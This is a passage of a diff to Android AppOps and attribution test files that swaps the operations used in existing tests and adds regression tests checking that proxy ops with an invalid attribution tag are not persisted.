Process.myUid(), mOpPackageName))
- assertEquals(MODE_ALLOWED, mAppOps.unsafeCheckOp(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_ALLOWED, mAppOps.unsafeCheckOp(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- assertEquals(MODE_ALLOWED, mAppOps.unsafeCheckOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_ALLOWED, mAppOps.unsafeCheckOpNoThrow(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_IGNORED)
- assertEquals(MODE_IGNORED, mAppOps.noteOp(OPSTR_ACCESS_NOTIFICATIONS,
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_IGNORED)
+ assertEquals(MODE_IGNORED, mAppOps.noteOp(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- assertEquals(MODE_IGNORED, mAppOps.noteOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_IGNORED, mAppOps.noteOpNoThrow(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- assertEquals(MODE_IGNORED, mAppOps.unsafeCheckOp(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_IGNORED, mAppOps.unsafeCheckOp(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- assertEquals(MODE_IGNORED, mAppOps.unsafeCheckOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_IGNORED, mAppOps.unsafeCheckOpNoThrow(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_DEFAULT)
- assertEquals(MODE_DEFAULT, mAppOps.noteOp(OPSTR_ACCESS_NOTIFICATIONS,
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_DEFAULT)
+ assertEquals(MODE_DEFAULT, mAppOps.noteOp(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- assertEquals(MODE_DEFAULT, mAppOps.noteOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_DEFAULT, mAppOps.noteOpNoThrow(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- assertEquals(MODE_DEFAULT, mAppOps.unsafeCheckOp(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_DEFAULT, mAppOps.unsafeCheckOp(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- assertEquals(MODE_DEFAULT, mAppOps.unsafeCheckOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_DEFAULT, mAppOps.unsafeCheckOpNoThrow(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_ERRORED)
- assertEquals(MODE_ERRORED, mAppOps.noteOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ERRORED)
+ assertEquals(MODE_ERRORED, mAppOps.noteOpNoThrow(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- assertEquals(MODE_ERRORED, mAppOps.unsafeCheckOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_ERRORED, mAppOps.unsafeCheckOpNoThrow(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
try {
- mAppOps.noteOp(OPSTR_ACCESS_NOTIFICATIONS, Process.myUid(), mOpPackageName)
+ mAppOps.noteOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName)
fail("SecurityException expected")
} catch (expected: SecurityException) {
}
try {
- mAppOps.unsafeCheckOp(OPSTR_ACCESS_NOTIFICATIONS, Process.myUid(), mOpPackageName)
+ mAppOps.unsafeCheckOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName)
fail("SecurityException expected")
} catch (expected: SecurityException) {
}
@@ -213,32 +217,32 @@
@Test
fun testStartOpAndFinishOp() {
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_ALLOWED)
- assertEquals(MODE_ALLOWED, mAppOps.startOp(OPSTR_ACCESS_NOTIFICATIONS,
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ALLOWED)
+ assertEquals(MODE_ALLOWED, mAppOps.startOp(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- mAppOps.finishOp(OPSTR_ACCESS_NOTIFICATIONS, Process.myUid(), mOpPackageName)
- assertEquals(MODE_ALLOWED, mAppOps.startOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName)
+ assertEquals(MODE_ALLOWED, mAppOps.startOpNoThrow(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- mAppOps.finishOp(OPSTR_ACCESS_NOTIFICATIONS,
+ mAppOps.finishOp(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName)
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_IGNORED)
- assertEquals(MODE_IGNORED, mAppOps.startOp(OPSTR_ACCESS_NOTIFICATIONS,
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_IGNORED)
+ assertEquals(MODE_IGNORED, mAppOps.startOp(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- assertEquals(MODE_IGNORED, mAppOps.startOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_IGNORED, mAppOps.startOpNoThrow(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_DEFAULT)
- assertEquals(MODE_DEFAULT, mAppOps.startOp(OPSTR_ACCESS_NOTIFICATIONS,
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_DEFAULT)
+ assertEquals(MODE_DEFAULT, mAppOps.startOp(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- assertEquals(MODE_DEFAULT, mAppOps.startOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_DEFAULT, mAppOps.startOpNoThrow(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_ERRORED)
- assertEquals(MODE_ERRORED, mAppOps.startOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ERRORED)
+ assertEquals(MODE_ERRORED, mAppOps.startOpNoThrow(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
try {
- mAppOps.startOp(OPSTR_ACCESS_NOTIFICATIONS, Process.myUid(), mOpPackageName)
+ mAppOps.startOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName)
fail("SecurityException expected")
} catch (expected: SecurityException) {
}
@@ -264,34 +268,34 @@
}
}
- mAppOps.startWatchingActive(arrayOf(OPSTR_ACCESS_NOTIFICATIONS), Executor { it.run() },
+ mAppOps.startWatchingActive(arrayOf(OPSTR_WRITE_CALENDAR), Executor { it.run() },
activeWatcher)
try {
- mAppOps.startOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, "firstAttribution",
+ mAppOps.startOp(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName, "firstAttribution",
null)
- assertTrue(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, USER_SHELL_UID,
+ assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
SHELL_PACKAGE_NAME))
gotActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
- mAppOps.startOp(OPSTR_ACCESS_NOTIFICATIONS, Process.myUid(), mOpPackageName,
+ mAppOps.startOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
"secondAttribution", null)
- assertTrue(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, USER_SHELL_UID,
+ assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
SHELL_PACKAGE_NAME))
assertFalse(gotInActive.isDone)
- mAppOps.finishOp(OPSTR_ACCESS_NOTIFICATIONS, USER_SHELL_UID, SHELL_PACKAGE_NAME,
+ mAppOps.finishOp(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME,
"firstAttribution")
// Allow some time for premature "watchingActive" callbacks to arrive
Thread.sleep(500)
- assertTrue(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, USER_SHELL_UID,
+ assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
SHELL_PACKAGE_NAME))
assertFalse(gotInActive.isDone)
- mAppOps.finishOp(OPSTR_ACCESS_NOTIFICATIONS, USER_SHELL_UID, SHELL_PACKAGE_NAME,
+ mAppOps.finishOp(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME,
"secondAttribution")
- assertFalse(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, USER_SHELL_UID,
+ assertFalse(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
SHELL_PACKAGE_NAME))
gotInActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
} finally {
@@ -347,52 +351,52 @@
@Test
fun finishOpWithoutStartOp() {
- assertFalse(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
- mAppOps.finishOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, null)
- assertFalse(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
}
@Test
fun doubleFinishOpStartOp() {
- assertFalse(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
- mAppOps.startOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, null, null)
- assertTrue(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
- mAppOps.finishOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, null)
- assertFalse(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
- mAppOps.finishOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, null)
- assertFalse(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
}
@Test
fun doubleFinishOpAfterDoubleStartOp() {
- assertFalse(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
- mAppOps.startOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, null, null)
- assertTrue(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
- mAppOps.startOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, null, null)
- assertTrue(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
- mAppOps.finishOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, null)
- assertTrue(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
- mAppOps.finishOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, null)
- assertFalse(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
}
@Test
fun noteOpWhileOpIsActive() {
- assertFalse(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
- mAppOps.startOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, null, null)
- assertTrue(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ mAppOps.startOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
- mAppOps.noteOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, null, null)
- assertTrue(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ mAppOps.noteOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null, null)
+ assertTrue(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
- mAppOps.finishOp(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName, null)
- assertFalse(mAppOps.isOpActive(OPSTR_ACCESS_NOTIFICATIONS, mMyUid, mOpPackageName))
+ mAppOps.finishOp(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName, null)
+ assertFalse(mAppOps.isOpActive(OPSTR_FINE_LOCATION, mMyUid, mOpPackageName))
}
@Test
@@ -429,33 +433,33 @@
fun testWatchingMode() {
val onOpChangeWatcher = FakeOnOppChangeListener()
try {
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_ALLOWED)
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ALLOWED)
- mAppOps.startWatchingMode(OPSTR_ACCESS_NOTIFICATIONS, mOpPackageName, onOpChangeWatcher)
+ mAppOps.startWatchingMode(OPSTR_WRITE_CALENDAR, mOpPackageName, onOpChangeWatcher)
// Make a change to the app op's mode.
var beforeChange = onOpChangeWatcher.onOpChangeCallbackCount
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_ERRORED)
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ERRORED)
PollingCheck.check("OpChange callback not received", TIMEOUT_MS) {
beforeChange != onOpChangeWatcher.onOpChangeCallbackCount
}
assertThat(onOpChangeWatcher.onOpChangeCallbackCount).isEqualTo(beforeChange + 1)
- assertThat(onOpChangeWatcher.onOpChangeCallbackOp).isEqualTo(OPSTR_ACCESS_NOTIFICATIONS)
+ assertThat(onOpChangeWatcher.onOpChangeCallbackOp).isEqualTo(OPSTR_WRITE_CALENDAR)
assertThat(onOpChangeWatcher.onOpChangeCallbackPackageName).isEqualTo(mOpPackageName)
// Make another change to the app op's mode.
beforeChange = onOpChangeWatcher.onOpChangeCallbackCount
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_ALLOWED)
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ALLOWED)
PollingCheck.check("OpChange callback not received", TIMEOUT_MS) {
beforeChange != onOpChangeWatcher.onOpChangeCallbackCount
}
assertThat(onOpChangeWatcher.onOpChangeCallbackCount).isEqualTo(beforeChange + 1)
- assertThat(onOpChangeWatcher.onOpChangeCallbackOp).isEqualTo(OPSTR_ACCESS_NOTIFICATIONS)
+ assertThat(onOpChangeWatcher.onOpChangeCallbackOp).isEqualTo(OPSTR_WRITE_CALENDAR)
assertThat(onOpChangeWatcher.onOpChangeCallbackPackageName).isEqualTo(mOpPackageName)
// Set mode to the same value as before - expect no call to the listener.
beforeChange = onOpChangeWatcher.onOpChangeCallbackCount
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_ALLOWED)
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ALLOWED)
// Adding a short sleep to ensure we do not miss the callback, if it does come.
Thread.sleep(2000)
assertThat(onOpChangeWatcher.onOpChangeCallbackCount).isEqualTo(beforeChange)
@@ -465,7 +469,7 @@
// Make a change to the app op's mode. Since we already stopped watching the mode, the
// listener shouldn't be called.
beforeChange = onOpChangeWatcher.onOpChangeCallbackCount
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_ERRORED)
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ERRORED)
// Adding a short sleep to ensure we do not miss the callback, if it does come.
Thread.sleep(2000)
assertThat(onOpChangeWatcher.onOpChangeCallbackCount).isEqualTo(beforeChange)
@@ -479,16 +483,16 @@
fun startWatchingNoted_withoutExecutor_whenOpNoted_receivesCallback() {
val watcher = mock(AppOpsManager.OnOpNotedListener::class.java)
try {
- mAppOps.startWatchingNoted(arrayOf(OPSTR_ACCESS_NOTIFICATIONS), watcher)
+ mAppOps.startWatchingNoted(arrayOf(OPSTR_WRITE_CALENDAR), watcher)
- mAppOps.noteOp(OPSTR_ACCESS_NOTIFICATIONS,
+ mAppOps.noteOp(OPSTR_WRITE_CALENDAR,
mMyUid, mOpPackageName,
"testAttribution",
/* message = */ null)
verify(watcher, timeout(TIMEOUT_MS))
.onOpNoted(
- OPSTR_ACCESS_NOTIFICATIONS,
+ OPSTR_WRITE_CALENDAR,
mMyUid,
mOpPackageName,
"testAttribution",
@@ -497,7 +501,7 @@
Mockito.reset(watcher)
- mAppOps.noteOp(OPSTR_ACCESS_NOTIFICATIONS,
+ mAppOps.noteOp(OPSTR_WRITE_CALENDAR,
mMyUid,
mOpPackageName,
/* attributionTag = */ null,
@@ -505,7 +509,7 @@
verify(watcher, timeout(TIMEOUT_MS))
.onOpNoted(
- OPSTR_ACCESS_NOTIFICATIONS,
+ OPSTR_WRITE_CALENDAR,
mMyUid,
mOpPackageName,
/* attributionTag = */ null,
@@ -515,7 +519,7 @@
mAppOps.stopWatchingNoted(watcher)
Mockito.reset(watcher)
- mAppOps.noteOp(OPSTR_ACCESS_NOTIFICATIONS,
+ mAppOps.noteOp(OPSTR_WRITE_CALENDAR,
mMyUid,
mOpPackageName,
"testAttribution",
@@ -531,10 +535,10 @@
fun startWatchingNoted_withExecutor_whenOpNoted_receivesCallback() {
val watcher = mock(AppOpsManager.OnOpNotedListener::class.java)
try {
- mAppOps.startWatchingNoted(arrayOf(OPSTR_ACCESS_NOTIFICATIONS), { it.run() }, watcher)
+ mAppOps.startWatchingNoted(arrayOf(OPSTR_WRITE_CALENDAR), { it.run() }, watcher)
mAppOps.noteOp(
- OPSTR_ACCESS_NOTIFICATIONS,
+ OPSTR_WRITE_CALENDAR,
mMyUid,
mOpPackageName,
"testAttribution",
@@ -542,7 +546,7 @@
verify(watcher, timeout(TIMEOUT_MS))
.onOpNoted(
- OPSTR_ACCESS_NOTIFICATIONS,
+ OPSTR_WRITE_CALENDAR,
mMyUid,
mOpPackageName,
"testAttribution",
@@ -551,7 +555,7 @@
Mockito.reset(watcher)
- mAppOps.noteOp(OPSTR_ACCESS_NOTIFICATIONS,
+ mAppOps.noteOp(OPSTR_WRITE_CALENDAR,
mMyUid,
mOpPackageName,
/* attributionTag = */ null,
@@ -559,7 +563,7 @@
verify(watcher, timeout(TIMEOUT_MS))
.onOpNoted(
- OPSTR_ACCESS_NOTIFICATIONS,
+ OPSTR_WRITE_CALENDAR,
mMyUid,
mOpPackageName,
/* attributionTag = */ null,
@@ -569,7 +573,7 @@
mAppOps.stopWatchingNoted(watcher)
Mockito.reset(watcher)
- mAppOps.noteOp(OPSTR_ACCESS_NOTIFICATIONS,
+ mAppOps.noteOp(OPSTR_WRITE_CALENDAR,
mMyUid,
mOpPackageName,
"testAttribution",
@@ -645,23 +649,21 @@
// that other test methods in this class don't affect this test method, here we use
// operations that are not used by any other test cases.
val mustNotBeLogged = "Operation mustn't be logged before the test runs"
- assumeTrue(mustNotBeLogged, !allowedOperationLogged(mOpPackageName, OPSTR_VIBRATE))
- assumeTrue(mustNotBeLogged,
- !allowedOperationLogged(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS))
+ assumeTrue(mustNotBeLogged, !allowedOperationLogged(mOpPackageName, OPSTR_RECORD_AUDIO))
+ assumeTrue(mustNotBeLogged, !allowedOperationLogged(mOpPackageName, OPSTR_READ_CALENDAR))
- setOpMode(mOpPackageName, OPSTR_VIBRATE, MODE_ALLOWED)
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_ERRORED)
+ setOpMode(mOpPackageName, OPSTR_RECORD_AUDIO, MODE_ALLOWED)
+ setOpMode(mOpPackageName, OPSTR_READ_CALENDAR, MODE_ERRORED)
// Note an op that's allowed.
- mAppOps.noteOp(OPSTR_VIBRATE, Process.myUid(), mOpPackageName)
+ mAppOps.noteOp(OPSTR_RECORD_AUDIO, Process.myUid(), mOpPackageName)
val mustBeLogged = "Operation must be logged"
- assertTrue(mustBeLogged, allowedOperationLogged(mOpPackageName, OPSTR_VIBRATE))
+ assertTrue(mustBeLogged, allowedOperationLogged(mOpPackageName, OPSTR_RECORD_AUDIO))
// Note another op that's not allowed.
- mAppOps.noteOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS, Process.myUid(), mOpPackageName)
- assertTrue(mustBeLogged, allowedOperationLogged(mOpPackageName, OPSTR_VIBRATE))
- assertTrue(mustBeLogged,
- rejectedOperationLogged(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS))
+ mAppOps.noteOpNoThrow(OPSTR_READ_CALENDAR, Process.myUid(), mOpPackageName)
+ assertTrue(mustBeLogged, allowedOperationLogged(mOpPackageName, OPSTR_RECORD_AUDIO))
+ assertTrue(mustBeLogged, rejectedOperationLogged(mOpPackageName, OPSTR_READ_CALENDAR))
}
@Test
@@ -702,7 +704,7 @@
@Test
fun noteOpForBadUid() {
runWithShellPermissionIdentity {
- val mode = mAppOps.noteOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS, Process.myUid() + 1,
+ val mode = mAppOps.noteOpNoThrow(OPSTR_RECORD_AUDIO, Process.myUid() + 1,
mOpPackageName)
assertEquals(mode, MODE_ERRORED)
}
@@ -711,7 +713,7 @@
@Test
fun startOpForBadUid() {
runWithShellPermissionIdentity {
- val mode = mAppOps.startOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS, Process.myUid() + 1,
+ val mode = mAppOps.startOpNoThrow(OPSTR_RECORD_AUDIO, Process.myUid() + 1,
mOpPackageName)
assertEquals(mode, MODE_ERRORED)
}
@@ -719,19 +721,19 @@
@Test
fun checkOpForBadUid() {
- val defaultMode = AppOpsManager.opToDefaultMode(OPSTR_ACCESS_NOTIFICATIONS)
+ val defaultMode = AppOpsManager.opToDefaultMode(OPSTR_RECORD_AUDIO)
runWithShellPermissionIdentity {
- mAppOps.setUidMode(OPSTR_ACCESS_NOTIFICATIONS, Process.myUid(), MODE_ERRORED)
+ mAppOps.setUidMode(OPSTR_RECORD_AUDIO, Process.myUid(), MODE_ERRORED)
try {
- val mode = mAppOps.unsafeCheckOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
- Process.myUid() + 1, mOpPackageName)
+ val mode = mAppOps.unsafeCheckOpNoThrow(OPSTR_RECORD_AUDIO, Process.myUid() + 1,
+ mOpPackageName)
// For invalid uids checkOp return the default mode
assertEquals(mode, defaultMode)
} finally {
// Clear the uid state
- mAppOps.setUidMode(OPSTR_ACCESS_NOTIFICATIONS, Process.myUid(), defaultMode)
+ mAppOps.setUidMode(OPSTR_RECORD_AUDIO, Process.myUid(), defaultMode)
}
}
}
diff --git a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
index 48d3a1d..639f043 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
@@ -21,8 +21,10 @@
import android.app.AppOpsManager.OPSTR_WIFI_SCAN
import android.app.AppOpsManager.OP_FLAGS_ALL
import android.content.ComponentName
+import android.content.Context
import android.content.Intent
import android.platform.test.annotations.AppModeFull
+import android.platform.test.annotations.AsbSecurityTest
import androidx.test.filters.FlakyTest
import androidx.test.platform.app.InstrumentationRegistry
import com.google.common.truth.Truth.assertThat
@@ -191,8 +193,58 @@
installApk("AppWithLongAttributionTag.apk")
}
+ @AsbSecurityTest(cveBugId = [304983146])
@Test(expected = AssertionError::class)
fun cannotUseTooManyAttributions() {
installApk("AppWithTooManyAttributions.apk")
}
+
+ @AsbSecurityTest(cveBugId = [304983146])
+ @Test
+ fun noteProxyOpDoesNotPersistInvalidAttribution() {
+ noteProxyOpForAttribution("invalid", ATTRIBUTION_1)
+ assertThat(getPersistedAttribution(ATTRIBUTION_1))
+ .isNull()
+ }
+
+ @AsbSecurityTest(cveBugId = [304983146])
+ @Test
+ fun noteProxyOpPersistsValidAttribution() {
+ noteProxyOpForAttribution(ATTRIBUTION_2, ATTRIBUTION_2)
+ assertThat(getPersistedAttribution(ATTRIBUTION_2))
+ .isEqualTo(ATTRIBUTION_2)
+ }
+
+ @AsbSecurityTest(cveBugId = [304983146])
+ @Test
+ fun startProxyOpDoesNotPersistInvalidAttribution() {
+ startProxyOpForAttribution("invalid", ATTRIBUTION_1)
+ assertThat(getPersistedAttribution(ATTRIBUTION_1))
+ .isNull()
+ }
+
+ @AsbSecurityTest(cveBugId = [304983146])
+ @Test
+ fun startProxyOpPersistsValidAttribution() {
+ startProxyOpForAttribution(ATTRIBUTION_2, ATTRIBUTION_2)
+ assertThat(getPersistedAttribution(ATTRIBUTION_2))
+ .isEqualTo(ATTRIBUTION_2)
+ }
+
+ private fun noteProxyOpForAttribution(attributionForContextCreation: String, attributionForNoteOp: String) {
+ val ctx = context.createAttributionContext(attributionForContextCreation)
+ val appOpsManager = ctx.getSystemService(Context.APP_OPS_SERVICE) as AppOpsManager
+ appOpsManager.noteProxyOp(OPSTR_WIFI_SCAN, APP_PKG, appUid, attributionForNoteOp, "message")
+ }
+
+ private fun startProxyOpForAttribution(attributionForContextCreation: String, attributionForNoteOp: String) {
+ val ctx = context.createAttributionContext(attributionForContextCreation)
+ val appOpsManager = ctx.getSystemService(Context.APP_OPS_SERVICE) as AppOpsManager
+ appOpsManager.startProxyOp(OPSTR_WIFI_SCAN, appUid, APP_PKG, attributionForNoteOp,"message")
+ }
+
+ private fun getPersistedAttribution(attribution: String) : String? {
+ val entry = getOpEntry(appUid, APP_PKG, OPSTR_WIFI_SCAN) as AppOpsManager.OpEntry
+ return entry.attributedOpEntries[attribution]?.getLastProxyInfo(OP_FLAGS_ALL)?.attributionTag
+ }
}
diff --git a/tests/tests/attributionsource/src/android/attributionsource/cts/AttributionSourceTest.kt b/tests/tests/attributionsource/src/android/attributionsource/cts/AttributionSourceTest.kt
index 021a02b..a4b3ddf 100644
--- a/tests/tests/attributionsource/src/android/attributionsource/cts/AttributionSourceTest.kt
+++ b/tests/tests/attributionsource/src/android/attributionsource/cts/AttributionSourceTest.kt
@@ -81,6 +81,7 @@
@Test
@ApiTest(apis = ["android.content.AttributionSource#getDeviceId"])
+ @RequiresFlagsEnabled(Flags.FLAG_DEVICE_AWARE_PERMISSION_APIS_ENABLED)
fun testDefaultDeviceId() {
val attributionSource = AttributionSource.Builder(Process.myUid()).build()
assertEquals(Context.DEVICE_ID_DEFAULT, attributionSource.deviceId)
@@ -88,6 +89,7 @@
@Test
@ApiTest(apis = ["android.content.AttributionSource#getDeviceId"])
+ @RequiresFlagsEnabled(Flags.FLAG_DEVICE_AWARE_PERMISSION_APIS_ENABLED)
fun testVirtualDeviceId() {
// random integer
val deviceId = 100
